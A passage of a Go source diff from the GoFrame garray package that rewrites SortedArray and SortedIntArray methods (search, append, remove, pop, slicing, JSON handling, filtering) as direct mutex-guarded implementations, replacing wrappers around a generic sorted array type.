+func (a *SortedArray) SubSlice(offset int, length ...int) []interface{} {
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	size := len(a.array)
+	if len(length) > 0 {
+		size = length[0]
+	}
+	if offset > len(a.array) {
+		return nil
+	}
+	if offset < 0 {
+		offset = len(a.array) + offset
+		if offset < 0 {
+			return nil
+		}
+	}
+	if size < 0 {
+		offset += size
+		size = -size
+		if offset < 0 {
+			return nil
+		}
+	}
+	end := offset + size
+	if end > len(a.array) {
+		end = len(a.array)
+		size = len(a.array) - offset
+	}
+	if a.mu.IsSafe() {
+		s := make([]interface{}, size)
+		copy(s, a.array[offset:])
+		return s
+	} else {
+		return a.array[offset:end]
+	}
 }
 
 // Sum returns the sum of values in an array.
 func (a *SortedArray) Sum() (sum int) {
-	a.lazyInit()
-	return a.SortedTArray.Sum()
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	for _, v := range a.array {
+		sum += gconv.Int(v)
+	}
+	return
 }
 
 // Len returns the length of array.
 func (a *SortedArray) Len() int {
-	a.lazyInit()
-	return a.SortedTArray.Len()
+	a.mu.RLock()
+	length := len(a.array)
+	a.mu.RUnlock()
+	return length
 }
 
 // Slice returns the underlying data of array.
 // Note that, if it's in concurrent-safe usage, it returns a copy of underlying data,
 // or else a pointer to the underlying data.
-func (a *SortedArray) Slice() []any {
-	a.lazyInit()
-	return a.SortedTArray.Slice()
+func (a *SortedArray) Slice() []interface{} {
+	var array []interface{}
+	if a.mu.IsSafe() {
+		a.mu.RLock()
+		defer a.mu.RUnlock()
+		array = make([]interface{}, len(a.array))
+		copy(array, a.array)
+	} else {
+		array = a.array
+	}
+	return array
 }
 
-// Interfaces returns current array as []any.
-func (a *SortedArray) Interfaces() []any {
-	a.lazyInit()
-	return a.SortedTArray.Interfaces()
+// Interfaces returns current array as []interface{}.
+func (a *SortedArray) Interfaces() []interface{} {
+	return a.Slice()
 }
 
 // Contains checks whether a value exists in the array.
-func (a *SortedArray) Contains(value any) bool {
-	a.lazyInit()
-	return a.SortedTArray.Contains(value)
+func (a *SortedArray) Contains(value interface{}) bool {
+	return a.Search(value) != -1
 }
 
 // Search searches array by `value`, returns the index of `value`,
 // or returns -1 if not exists.
-func (a *SortedArray) Search(value any) (index int) {
-	a.lazyInit()
-	return a.SortedTArray.Search(value)
+func (a *SortedArray) Search(value interface{}) (index int) {
+	if i, r := a.binSearch(value, true); r == 0 {
+		return i
+	}
+	return -1
+}
+
+// Binary search.
+// It returns the last compared index and the result.
+// If `result` equals to 0, it means the value at `index` is equals to `value`.
+// If `result` lesser than 0, it means the value at `index` is lesser than `value`.
+// If `result` greater than 0, it means the value at `index` is greater than `value`.
+func (a *SortedArray) binSearch(value interface{}, lock bool) (index int, result int) {
+	if lock {
+		a.mu.RLock()
+		defer a.mu.RUnlock()
+	}
+	if len(a.array) == 0 {
+		return -1, -2
+	}
+	min := 0
+	max := len(a.array) - 1
+	mid := 0
+	cmp := -2
+	for min <= max {
+		mid = min + (max-min)/2
+		cmp = a.getComparator()(value, a.array[mid])
+		switch {
+		case cmp < 0:
+			max = mid - 1
+		case cmp > 0:
+			min = mid + 1
+		default:
+			return mid, cmp
+		}
+	}
+	return mid, cmp
 }
 
 // SetUnique sets unique mark to the array,
 // which means it does not contain any repeated items.
 // It also does unique check, remove all repeated items.
 func (a *SortedArray) SetUnique(unique bool) *SortedArray {
-	a.lazyInit()
-	a.SortedTArray.SetUnique(unique)
+	oldUnique := a.unique
+	a.unique = unique
+	if unique && oldUnique != unique {
+		a.Unique()
+	}
 	return a
 }
 
 // Unique uniques the array, clear repeated items.
 func (a *SortedArray) Unique() *SortedArray {
-	a.lazyInit()
-	a.SortedTArray.Unique()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if len(a.array) == 0 {
+		return a
+	}
+	i := 0
+	for {
+		if i == len(a.array)-1 {
+			break
+		}
+		if a.getComparator()(a.array[i], a.array[i+1]) == 0 {
+			a.array = append(a.array[:i+1], a.array[i+1+1:]...)
+		} else {
+			i++
+		}
+	}
 	return a
 }
 
 // Clone returns a new array, which is a copy of current array.
 func (a *SortedArray) Clone() (newArray *SortedArray) {
-	a.lazyInit()
-	return &SortedArray{
-		SortedTArray: a.SortedTArray.Clone(),
-	}
+	a.mu.RLock()
+	array := make([]interface{}, len(a.array))
+	copy(array, a.array)
+	a.mu.RUnlock()
+	return NewSortedArrayFrom(array, a.comparator, a.mu.IsSafe())
 }
 
 // Clear deletes all items of current array.
 func (a *SortedArray) Clear() *SortedArray {
-	a.lazyInit()
-	a.SortedTArray.Clear()
+	a.mu.Lock()
+	if len(a.array) > 0 {
+		a.array = make([]interface{}, 0)
+	}
+	a.mu.Unlock()
 	return a
 }
 
 // LockFunc locks writing by callback function `f`.
-func (a *SortedArray) LockFunc(f func(array []any)) *SortedArray {
-	a.lazyInit()
-	a.SortedTArray.LockFunc(f)
+func (a *SortedArray) LockFunc(f func(array []interface{})) *SortedArray {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+
+	// Keep the array always sorted.
+	defer sort.Slice(a.array, func(i, j int) bool {
+		return a.getComparator()(a.array[i], a.array[j]) < 0
+	})
+
+	f(a.array)
 	return a
 }
 
 // RLockFunc locks reading by callback function `f`.
-func (a *SortedArray) RLockFunc(f func(array []any)) *SortedArray {
-	a.lazyInit()
-	a.SortedTArray.RLockFunc(f)
+func (a *SortedArray) RLockFunc(f func(array []interface{})) *SortedArray {
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	f(a.array)
 	return a
 }
 
@@ -315,60 +557,112 @@ func (a *SortedArray) RLockFunc(f func(array []any)) *SortedArray {
 // The parameter `array` can be any garray or slice type.
 // The difference between Merge and Append is Append supports only specified slice type,
 // but Merge supports more parameter types.
-func (a *SortedArray) Merge(array any) *SortedArray {
+func (a *SortedArray) Merge(array interface{}) *SortedArray {
 	return a.Add(gconv.Interfaces(array)...)
 }
 
 // Chunk splits an array into multiple arrays,
 // the size of each array is determined by `size`.
 // The last chunk may contain less than size elements.
-func (a *SortedArray) Chunk(size int) [][]any {
-	a.lazyInit()
-	return a.SortedTArray.Chunk(size)
+func (a *SortedArray) Chunk(size int) [][]interface{} {
+	if size < 1 {
+		return nil
+	}
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	length := len(a.array)
+	chunks := int(math.Ceil(float64(length) / float64(size)))
+	var n [][]interface{}
+	for i, end := 0, 0; chunks > 0; chunks-- {
+		end = (i + 1) * size
+		if end > length {
+			end = length
+		}
+		n = append(n, a.array[i*size:end])
+		i++
+	}
+	return n
 }
 
 // Rand randomly returns one item from array(no deleting).
-func (a *SortedArray) Rand() (value any, found bool) {
-	a.lazyInit()
-	return a.SortedTArray.Rand()
+func (a *SortedArray) Rand() (value interface{}, found bool) {
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	if len(a.array) == 0 {
+		return nil, false
+	}
+	return a.array[grand.Intn(len(a.array))], true
 }
 
 // Rands randomly returns `size` items from array(no deleting).
-func (a *SortedArray) Rands(size int) []any {
-	a.lazyInit()
-	return a.SortedTArray.Rands(size)
+func (a *SortedArray) Rands(size int) []interface{} {
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	if size <= 0 || len(a.array) == 0 {
+		return nil
+	}
+	array := make([]interface{}, size)
+	for i := 0; i < size; i++ {
+		array[i] = a.array[grand.Intn(len(a.array))]
+	}
+	return array
 }
 
 // Join joins array elements with a string `glue`.
 func (a *SortedArray) Join(glue string) string {
-	a.lazyInit()
-	return a.SortedTArray.Join(glue)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	if len(a.array) == 0 {
+		return ""
+	}
+	buffer := bytes.NewBuffer(nil)
+	for k, v := range a.array {
+		buffer.WriteString(gconv.String(v))
+		if k != len(a.array)-1 {
+			buffer.WriteString(glue)
+		}
+	}
+	return buffer.String()
 }
 
 // CountValues counts the number of occurrences of all values in the array.
-func (a *SortedArray) CountValues() map[any]int {
-	a.lazyInit()
-	return a.SortedTArray.CountValues()
+func (a *SortedArray) CountValues() map[interface{}]int {
+	m := make(map[interface{}]int)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	for _, v := range a.array {
+		m[v]++
+	}
+	return m
 }
 
 // Iterator is alias of IteratorAsc.
-func (a *SortedArray) Iterator(f func(k int, v any) bool) {
-	a.lazyInit()
-	a.SortedTArray.Iterator(f)
+func (a *SortedArray) Iterator(f func(k int, v interface{}) bool) {
+	a.IteratorAsc(f)
 }
 
 // IteratorAsc iterates the array readonly in ascending order with given callback function `f`.
 // If `f` returns true, then it continues iterating; or false to stop.
-func (a *SortedArray) IteratorAsc(f func(k int, v any) bool) {
-	a.lazyInit()
-	a.SortedTArray.IteratorAsc(f)
+func (a *SortedArray) IteratorAsc(f func(k int, v interface{}) bool) {
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	for k, v := range a.array {
+		if !f(k, v) {
+			break
+		}
+	}
 }
 
 // IteratorDesc iterates the array readonly in descending order with given callback function `f`.
 // If `f` returns true, then it continues iterating; or false to stop.
-func (a *SortedArray) IteratorDesc(f func(k int, v any) bool) {
-	a.lazyInit()
-	a.SortedTArray.IteratorDesc(f)
+func (a *SortedArray) IteratorDesc(f func(k int, v interface{}) bool) {
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	for i := len(a.array) - 1; i >= 0; i-- {
+		if !f(i, a.array[i]) {
+			break
+		}
+	}
 }
 
 // String returns current array as a string, which implements like json.Marshal does.
@@ -376,72 +670,173 @@ func (a *SortedArray) String() string {
 	if a == nil {
 		return ""
 	}
-	a.lazyInit()
-	return a.SortedTArray.String()
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	buffer := bytes.NewBuffer(nil)
+	buffer.WriteByte('[')
+	s := ""
+	for k, v := range a.array {
+		s = gconv.String(v)
+		if gstr.IsNumeric(s) {
+			buffer.WriteString(s)
+		} else {
+			buffer.WriteString(`"` + gstr.QuoteMeta(s, `"\`) + `"`)
+		}
+		if k != len(a.array)-1 {
+			buffer.WriteByte(',')
+		}
+	}
+	buffer.WriteByte(']')
+	return buffer.String()
 }
 
 // MarshalJSON implements the interface MarshalJSON for json.Marshal.
 // Note that do not use pointer as its receiver here.
 func (a SortedArray) MarshalJSON() ([]byte, error) {
-	a.lazyInit()
-	return a.SortedTArray.MarshalJSON()
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	return json.Marshal(a.array)
 }
 
 // UnmarshalJSON implements the interface UnmarshalJSON for json.Unmarshal.
 // Note that the comparator is set as string comparator in default.
 func (a *SortedArray) UnmarshalJSON(b []byte) error {
-	a.lazyInit()
-	return a.SortedTArray.UnmarshalJSON(b)
+	if a.comparator == nil {
+		a.array = make([]interface{}, 0)
+		a.comparator = gutil.ComparatorString
+	}
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if err := json.UnmarshalUseNumber(b, &a.array); err != nil {
+		return err
+	}
+	if a.comparator != nil && a.array != nil {
+		sort.Slice(a.array, func(i, j int) bool {
+			return a.comparator(a.array[i], a.array[j]) < 0
+		})
+	}
+	return nil
 }
 
 // UnmarshalValue is an interface implement which sets any type of value for array.
 // Note that the comparator is set as string comparator in default.
-func (a *SortedArray) UnmarshalValue(value any) (err error) {
-	a.lazyInit()
-	return a.SortedTArray.UnmarshalValue(value)
+func (a *SortedArray) UnmarshalValue(value interface{}) (err error) {
+	if a.comparator == nil {
+		a.comparator = gutil.ComparatorString
+	}
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	switch value.(type) {
+	case string, []byte:
+		err = json.UnmarshalUseNumber(gconv.Bytes(value), &a.array)
+	default:
+		a.array = gconv.SliceAny(value)
+	}
+	if a.comparator != nil && a.array != nil {
+		sort.Slice(a.array, func(i, j int) bool {
+			return a.comparator(a.array[i], a.array[j]) < 0
+		})
+	}
+	return err
 }
 
 // FilterNil removes all nil value of the array.
 func (a *SortedArray) FilterNil() *SortedArray {
-	a.lazyInit()
-	a.SortedTArray.FilterNil()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for i := 0; i < len(a.array); {
+		if empty.IsNil(a.array[i]) {
+			a.array = append(a.array[:i], a.array[i+1:]...)
+		} else {
+			break
+		}
+	}
+	for i := len(a.array) - 1; i >= 0; {
+		if empty.IsNil(a.array[i]) {
+			a.array = append(a.array[:i], a.array[i+1:]...)
+		} else {
+			break
+		}
+	}
 	return a
 }
 
 // Filter iterates array and filters elements using custom callback function.
 // It removes the element from array if callback function `filter` returns true,
 // it or else does nothing and continues iterating.
-func (a *SortedArray) Filter(filter func(index int, value any) bool) *SortedArray {
-	a.lazyInit()
-	a.SortedTArray.Filter(filter)
+func (a *SortedArray) Filter(filter func(index int, value interface{}) bool) *SortedArray {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for i := 0; i < len(a.array); {
+		if filter(i, a.array[i]) {
+			a.array = append(a.array[:i], a.array[i+1:]...)
+		} else {
+			i++
+		}
+	}
 	return a
 }
 
 // FilterEmpty removes all empty value of the array.
 // Values like: 0, nil, false, "", len(slice/map/chan) == 0 are considered empty.
 func (a *SortedArray) FilterEmpty() *SortedArray {
-	a.lazyInit()
-	a.SortedTArray.FilterEmpty()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for i := 0; i < len(a.array); {
+		if empty.IsEmpty(a.array[i]) {
+			a.array = append(a.array[:i], a.array[i+1:]...)
+		} else {
+			break
+		}
+	}
+	for i := len(a.array) - 1; i >= 0; {
+		if empty.IsEmpty(a.array[i]) {
+			a.array = append(a.array[:i], a.array[i+1:]...)
+		} else {
+			break
+		}
+	}
 	return a
 }
 
 // Walk applies a user supplied function `f` to every item of array.
-func (a *SortedArray) Walk(f func(value any) any) *SortedArray {
-	a.lazyInit()
-	a.SortedTArray.Walk(f)
+func (a *SortedArray) Walk(f func(value interface{}) interface{}) *SortedArray {
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	// Keep the array always sorted.
+	defer sort.Slice(a.array, func(i, j int) bool {
+		return a.getComparator()(a.array[i], a.array[j]) < 0
+	})
+	for i, v := range a.array {
+		a.array[i] = f(v)
+	}
 	return a
 }
 
 // IsEmpty checks whether the array is empty.
 func (a *SortedArray) IsEmpty() bool {
-	a.lazyInit()
-	return a.SortedTArray.IsEmpty()
+	return a.Len() == 0
+}
+
+// getComparator returns the comparator if it's previously set,
+// or else it panics.
+func (a *SortedArray) getComparator() func(a, b interface{}) int {
+	if a.comparator == nil {
+		panic("comparator is missing for sorted array")
+	}
+	return a.comparator
 }
 
 // DeepCopy implements interface for deep copy of current type.
-func (a *SortedArray) DeepCopy() any {
-	a.lazyInit()
-	return &SortedArray{
-		SortedTArray: a.SortedTArray.DeepCopy().(*SortedTArray[any]),
+func (a *SortedArray) DeepCopy() interface{} {
+	if a == nil {
+		return nil
 	}
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	newSlice := make([]interface{}, len(a.array))
+	for i, v := range a.array {
+		newSlice[i] = deepcopy.Copy(v)
+	}
+	return NewSortedArrayFrom(newSlice, a.comparator, a.mu.IsSafe())
 }

container/garray/garray_sorted_int.go

@@ -7,10 +7,15 @@
 package garray
 
 import (
+	"bytes"
 	"fmt"
-	"sync"
+	"math"
+	"sort"
 
+	"github.com/gogf/gf/v2/internal/json"
+	"github.com/gogf/gf/v2/internal/rwmutex"
 	"github.com/gogf/gf/v2/util/gconv"
+	"github.com/gogf/gf/v2/util/grand"
 )
 
 // SortedIntArray is a golang sorted int array with rich features.
@@ -19,18 +24,10 @@ import (
 // It contains a concurrent-safe/unsafe switch, which should be set
 // when its initialization and cannot be changed then.
 type SortedIntArray struct {
-	*SortedTArray[int]
-	once sync.Once
-}
-
-// lazyInit lazily initializes the array.
-func (a *SortedIntArray) lazyInit() {
-	a.once.Do(func() {
-		if a.SortedTArray == nil {
-			a.SortedTArray = NewSortedTArraySize(0, defaultComparatorInt, false)
-			a.SetSorter(quickSortInt)
-		}
-	})
+	mu         rwmutex.RWMutex
+	array      []int
+	unique     bool               // Whether enable unique feature(false)
+	comparator func(a, b int) int // Comparison function(it returns -1: a < b; 0: a == b; 1: a > b)
 }
 
 // NewSortedIntArray creates and returns an empty sorted array.
@@ -52,10 +49,10 @@ func NewSortedIntArrayComparator(comparator func(a, b int) int, safe ...bool) *S
 // The parameter `safe` is used to specify whether using array in concurrent-safety,
 // which is false in default.
 func NewSortedIntArraySize(cap int, safe ...bool) *SortedIntArray {
-	a := NewSortedTArraySize(cap, defaultComparatorInt, safe...)
-	a.SetSorter(quickSortInt)
 	return &SortedIntArray{
-		SortedTArray: a,
+		mu:         rwmutex.Create(safe...),
+		array:      make([]int, 0, cap),
+		comparator: defaultComparatorInt,
 	}
 }
 
@@ -80,7 +77,7 @@ func NewSortedIntArrayRange(start, end, step int, safe ...bool) *SortedIntArray
 func NewSortedIntArrayFrom(array []int, safe ...bool) *SortedIntArray {
 	a := NewSortedIntArraySize(0, safe...)
 	a.array = array
-	a.sorter(a.array, defaultComparatorInt)
+	sort.Ints(a.array)
 	return a
 }
 
@@ -96,14 +93,16 @@ func NewSortedIntArrayFromCopy(array []int, safe ...bool) *SortedIntArray {
 // At returns the value by the specified index.
 // If the given `index` is out of range of the array, it returns `0`.
 func (a *SortedIntArray) At(index int) (value int) {
-	a.lazyInit()
-	return a.SortedTArray.At(index)
+	value, _ = a.Get(index)
+	return
 }
 
 // SetArray sets the underlying slice array with the given `array`.
 func (a *SortedIntArray) SetArray(array []int) *SortedIntArray {
-	a.lazyInit()
-	a.SortedTArray.SetArray(array)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	a.array = array
+	quickSortInt(a.array, a.getComparator())
 	return a
 }
 
@@ -111,95 +110,200 @@ func (a *SortedIntArray) SetArray(array []int) *SortedIntArray {
 // The parameter `reverse` controls whether sort
 // in increasing order(default) or decreasing order.
 func (a *SortedIntArray) Sort() *SortedIntArray {
-	a.lazyInit()
-	a.SortedTArray.Sort()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	quickSortInt(a.array, a.getComparator())
 	return a
 }
 
 // Add adds one or multiple values to sorted array, the array always keeps sorted.
 // It's alias of function Append, see Append.
 func (a *SortedIntArray) Add(values ...int) *SortedIntArray {
-	a.lazyInit()
 	return a.Append(values...)
 }
 
 // Append adds one or multiple values to sorted array, the array always keeps sorted.
 func (a *SortedIntArray) Append(values ...int) *SortedIntArray {
-	a.lazyInit()
-	a.SortedTArray.Append(values...)
+	if len(values) == 0 {
+		return a
+	}
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for _, value := range values {
+		index, cmp := a.binSearch(value, false)
+		if a.unique && cmp == 0 {
+			continue
+		}
+		if index < 0 {
+			a.array = append(a.array, value)
+			continue
+		}
+		if cmp > 0 {
+			index++
+		}
+		rear := append([]int{}, a.array[index:]...)
+		a.array = append(a.array[0:index], value)
+		a.array = append(a.array, rear...)
+	}
 	return a
 }
 
 // Get returns the value by the specified index.
 // If the given `index` is out of range of the array, the `found` is false.
 func (a *SortedIntArray) Get(index int) (value int, found bool) {
-	a.lazyInit()
-	return a.SortedTArray.Get(index)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	if index < 0 || index >= len(a.array) {
+		return 0, false
+	}
+	return a.array[index], true
 }
 
 // Remove removes an item by index.
 // If the given `index` is out of range of the array, the `found` is false.
 func (a *SortedIntArray) Remove(index int) (value int, found bool) {
-	a.lazyInit()
-	return a.SortedTArray.Remove(index)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	return a.doRemoveWithoutLock(index)
+}
+
+// doRemoveWithoutLock removes an item by index without lock.
+func (a *SortedIntArray) doRemoveWithoutLock(index int) (value int, found bool) {
+	if index < 0 || index >= len(a.array) {
+		return 0, false
+	}
+	// Determine array boundaries when deleting to improve deletion efficiency.
+	if index == 0 {
+		value := a.array[0]
+		a.array = a.array[1:]
+		return value, true
+	} else if index == len(a.array)-1 {
+		value := a.array[index]
+		a.array = a.array[:index]
+		return value, true
+	}
+	// If it is a non-boundary delete,
+	// it will involve the creation of an array,
+	// then the deletion is less efficient.
+	value = a.array[index]
+	a.array = append(a.array[:index], a.array[index+1:]...)
+	return value, true
 }
 
 // RemoveValue removes an item by value.
 // It returns true if value is found in the array, or else false if not found.
 func (a *SortedIntArray) RemoveValue(value int) bool {
-	a.lazyInit()
-	return a.SortedTArray.RemoveValue(value)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if i, r := a.binSearch(value, false); r == 0 {
+		_, res := a.doRemoveWithoutLock(i)
+		return res
+	}
+	return false
 }
 
 // RemoveValues removes an item by `values`.
 func (a *SortedIntArray) RemoveValues(values ...int) {
-	a.lazyInit()
-	a.SortedTArray.RemoveValues(values...)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	for _, value := range values {
+		if i, r := a.binSearch(value, false); r == 0 {
+			a.doRemoveWithoutLock(i)
+		}
+	}
 }
 
 // PopLeft pops and returns an item from the beginning of array.
 // Note that if the array is empty, the `found` is false.
 func (a *SortedIntArray) PopLeft() (value int, found bool) {
-	a.lazyInit()
-	return a.SortedTArray.PopLeft()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if len(a.array) == 0 {
+		return 0, false
+	}
+	value = a.array[0]
+	a.array = a.array[1:]
+	return value, true
 }
 
 // PopRight pops and returns an item from the end of array.
 // Note that if the array is empty, the `found` is false.
 func (a *SortedIntArray) PopRight() (value int, found bool) {
-	a.lazyInit()
-	return a.SortedTArray.PopRight()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	index := len(a.array) - 1
+	if index < 0 {
+		return 0, false
+	}
+	value = a.array[index]
+	a.array = a.array[:index]
+	return value, true
 }
 
 // PopRand randomly pops and return an item out of array.
 // Note that if the array is empty, the `found` is false.
 func (a *SortedIntArray) PopRand() (value int, found bool) {
-	a.lazyInit()
-	return a.SortedTArray.PopRand()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	return a.doRemoveWithoutLock(grand.Intn(len(a.array)))
 }
 
 // PopRands randomly pops and returns `size` items out of array.
 // If the given `size` is greater than size of the array, it returns all elements of the array.
 // Note that if given `size` <= 0 or the array is empty, it returns nil.
 func (a *SortedIntArray) PopRands(size int) []int {
-	a.lazyInit()
-	return a.SortedTArray.PopRands(size)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if size <= 0 || len(a.array) == 0 {
+		return nil
+	}
+	if size >= len(a.array) {
+		size = len(a.array)
+	}
+	array := make([]int, size)
+	for i := 0; i < size; i++ {
+		array[i], _ = a.doRemoveWithoutLock(grand.Intn(len(a.array)))
+	}
+	return array
 }
 
 // PopLefts pops and returns `size` items from the beginning of array.
 // If the given `size` is greater than size of the array, it returns all elements of the array.
 // Note that if given `size` <= 0 or the array is empty, it returns nil.
 func (a *SortedIntArray) PopLefts(size int) []int {
-	a.lazyInit()
-	return a.SortedTArray.PopLefts(size)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if size <= 0 || len(a.array) == 0 {
+		return nil
+	}
+	if size >= len(a.array) {
+		array := a.array
+		a.array = a.array[:0]
+		return array
+	}
+	value := a.array[0:size]
+	a.array = a.array[size:]
+	return value
 }
 
 // PopRights pops and returns `size` items from the end of array.
 // If the given `size` is greater than size of the array, it returns all elements of the array.
 // Note that if given `size` <= 0 or the array is empty, it returns nil.
 func (a *SortedIntArray) PopRights(size int) []int {
-	a.lazyInit()
-	return a.SortedTArray.PopRights(size)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if size <= 0 || len(a.array) == 0 {
+		return nil
+	}
+	index := len(a.array) - size
+	if index <= 0 {
+		array := a.array
+		a.array = a.array[:0]
+		return array
+	}
+	value := a.array[index:]
+	a.array = a.array[:index]
+	return value
 }
 
 // Range picks and returns items by range, like array[start:end].
@@ -210,8 +314,26 @@ func (a *SortedIntArray) PopRights(size int) []int {
 // If `end` is omitted, then the sequence will have everything from start up
 // until the end of the array.
 func (a *SortedIntArray) Range(start int, end ...int) []int {
-	a.lazyInit()
-	return a.SortedTArray.Range(start, end...)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	offsetEnd := len(a.array)
+	if len(end) > 0 && end[0] < offsetEnd {
+		offsetEnd = end[0]
+	}
+	if start > offsetEnd {
+		return nil
+	}
+	if start < 0 {
+		start = 0
+	}
+	array := ([]int)(nil)
+	if a.mu.IsSafe() {
+		array = make([]int, offsetEnd-start)
+		copy(array, a.array[start:offsetEnd])
+	} else {
+		array = a.array[start:offsetEnd]
+	}
+	return array
 }
 
 // SubSlice returns a slice of elements from the array as specified
@@ -228,91 +350,198 @@ func (a *SortedIntArray) Range(start int, end ...int) []int {
 //
 // Any possibility crossing the left border of array, it will fail.
 func (a *SortedIntArray) SubSlice(offset int, length ...int) []int {
-	a.lazyInit()
-	return a.SortedTArray.SubSlice(offset, length...)
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	size := len(a.array)
+	if len(length) > 0 {
+		size = length[0]
+	}
+	if offset > len(a.array) {
+		return nil
+	}
+	if offset < 0 {
+		offset = len(a.array) + offset
+		if offset < 0 {
+			return nil
+		}
+	}
+	if size < 0 {
+		offset += size
+		size = -size
+		if offset < 0 {
+			return nil
+		}
+	}
+	end := offset + size
+	if end > len(a.array) {
+		end = len(a.array)
+		size = len(a.array) - offset
+	}
+	if a.mu.IsSafe() {
+		s := make([]int, size)
+		copy(s, a.array[offset:])
+		return s
+	} else {
+		return a.array[offset:end]
+	}
 }
 
 // Len returns the length of array.
 func (a *SortedIntArray) Len() int {
-	a.lazyInit()
-	return a.SortedTArray.Len()
+	a.mu.RLock()
+	length := len(a.array)
+	a.mu.RUnlock()
+	return length
 }
 
 // Sum returns the sum of values in an array.
 func (a *SortedIntArray) Sum() (sum int) {
-	a.lazyInit()
-	return a.SortedTArray.Sum()
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	for _, v := range a.array {
+		sum += v
+	}
+	return
 }
 
 // Slice returns the underlying data of array.
 // Note that, if it's in concurrent-safe usage, it returns a copy of underlying data,
 // or else a pointer to the underlying data.
 func (a *SortedIntArray) Slice() []int {
-	a.lazyInit()
-	return a.SortedTArray.Slice()
+	array := ([]int)(nil)
+	if a.mu.IsSafe() {
+		a.mu.RLock()
+		defer a.mu.RUnlock()
+		array = make([]int, len(a.array))
+		copy(array, a.array)
+	} else {
+		array = a.array
+	}
+	return array
 }
 
-// Interfaces returns current array as []any.
-func (a *SortedIntArray) Interfaces() []any {
-	a.lazyInit()
-	return a.SortedTArray.Interfaces()
+// Interfaces returns current array as []interface{}.
+func (a *SortedIntArray) Interfaces() []interface{} {
+	a.mu.RLock()
+	defer a.mu.RUnlock()
+	array := make([]interface{}, len(a.array))
+	for k, v := range a.array {
+		array[k] = v
+	}
+	return array
 }
 
 // Contains checks whether a value exists in the array.
 func (a *SortedIntArray) Contains(value int) bool {
-	a.lazyInit()
-	return a.SortedTArray.Contains(value)
+	return a.Search(value) != -1
 }
 
 // Search searches array by `value`, returns the index of `value`,
 // or returns -1 if not exists.
 func (a *SortedIntArray) Search(value int) (index int) {
-	a.lazyInit()
-	return a.SortedTArray.Search(value)
+	if i, r := a.binSearch(value, true); r == 0 {
+		return i
+	}
+	return -1
+}
+
+// Binary search.
+// It returns the last compared index and the result.
+// If `result` equals to 0, it means the value at `index` is equals to `value`.
+// If `result` lesser than 0, it means the value at `index` is lesser than `value`.
+// If `result` greater than 0, it means the value at `index` is greater than `value`.
+func (a *SortedIntArray) binSearch(value int, lock bool) (index int, result int) {
+	if lock {
+		a.mu.RLock()
+		defer a.mu.RUnlock()
+	}
+	if len(a.array) == 0 {
+		return -1, -2
+	}
+	min := 0
+	max := len(a.array) - 1
+	mid := 0
+	cmp := -2
+	for min <= max {
+		mid = min + int((max-min)/2)
+		cmp = a.getComparator()(value, a.array[mid])
+		switch {
+		case cmp < 0:
+			max = mid - 1
+		case cmp > 0:
+			min = mid + 1
+		default:
+			return mid, cmp
+		}
+	}
+	return mid, cmp
 }
 
 // SetUnique sets unique mark to the array,
 // which means it does not contain any repeated items.
 // It also do unique check, remove all repeated items.
 func (a *SortedIntArray) SetUnique(unique bool) *SortedIntArray {
-	a.lazyInit()
-	a.SortedTArray.SetUnique(unique)
+	oldUnique := a.unique
+	a.unique = unique
+	if unique && oldUnique != unique {
+		a.Unique()
+	}
 	return a
 }
 
 // Unique uniques the array, clear repeated items.
 func (a *SortedIntArray) Unique() *SortedIntArray {
-	a.lazyInit()
-	a.SortedTArray.Unique()
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	if len(a.array) == 0 {
+		return a
+	}
+	i := 0
+	for {
+		if i == len(a.array)-1 {
+			break
+		}
+		if a.getComparator()(a.array[i], a.array[i+1]) == 0 {
+			a.array = append(a.array[:i+1], a.array[i+1+1:]...)
+		} else {
+			i++
+		}
+	}
 	return a
 }
 
 // Clone returns a new array, which is a copy of current array.
 func (a *SortedIntArray) Clone() (newArray *SortedIntArray) {
-	a.lazyInit()
-	return &SortedIntArray{
-		SortedTArray: a.SortedTArray.Clone(),
-	}
+	a.mu.RLock()
+	array := make([]int, len(a.array))
+	copy(array, a.array)
+	a.mu.RUnlock()
+	return NewSortedIntArrayFrom(array, a.mu.IsSafe())
 }
 
 // Clear deletes all items of current array.
 func (a *SortedIntArray) Clear() *SortedIntArray {
-	a.lazyInit()
-	a.SortedTArray.Clear()
+	a.mu.Lock()
+	if len(a.array) > 0 {
+		a.array = make([]int, 0)
+	}
+	a.mu.Unlock()
 	return a
 }
 
 // LockFunc locks writing by callback function `f`.
 func (a *SortedIntArray) LockFunc(f func(array []int)) *SortedIntArray {
-	a.lazyInit()
-	a.SortedTArray.LockFunc(f)
+	a.mu.Lock()
+	defer a.mu.Unlock()
+	f(a.array)
 	return a
 }
 
